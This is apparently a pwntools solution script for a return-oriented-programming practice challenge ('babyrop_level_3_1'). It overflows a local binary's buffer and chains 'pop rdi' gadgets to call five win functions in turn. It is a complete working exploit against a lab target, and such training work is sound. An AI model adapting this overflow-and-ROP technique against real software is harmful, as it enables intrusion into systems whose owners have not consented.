jc
29 lines
562 B
Python
29 lines
562 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./babyrop_level_3_1", checksec=False)
|
|
r = process()
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
ss = lambda a: r.sendlineafter(b": ", a)
|
|
|
|
# funcs
|
|
pop_rdi = lambda a: p64(0x401e03) + p64(a)
|
|
|
|
# buf
|
|
buf = b"A"*104
|
|
buf += pop_rdi(1)
|
|
buf += p64(target.sym.win_stage_1)
|
|
buf += pop_rdi(2)
|
|
buf += p64(target.sym.win_stage_2)
|
|
buf += pop_rdi(3)
|
|
buf += p64(target.sym.win_stage_3)
|
|
buf += pop_rdi(4)
|
|
buf += p64(target.sym.win_stage_4)
|
|
buf += pop_rdi(5)
|
|
buf += p64(target.sym.win_stage_5)
|
|
s(buf)
|
|
|
|
r.interactive() |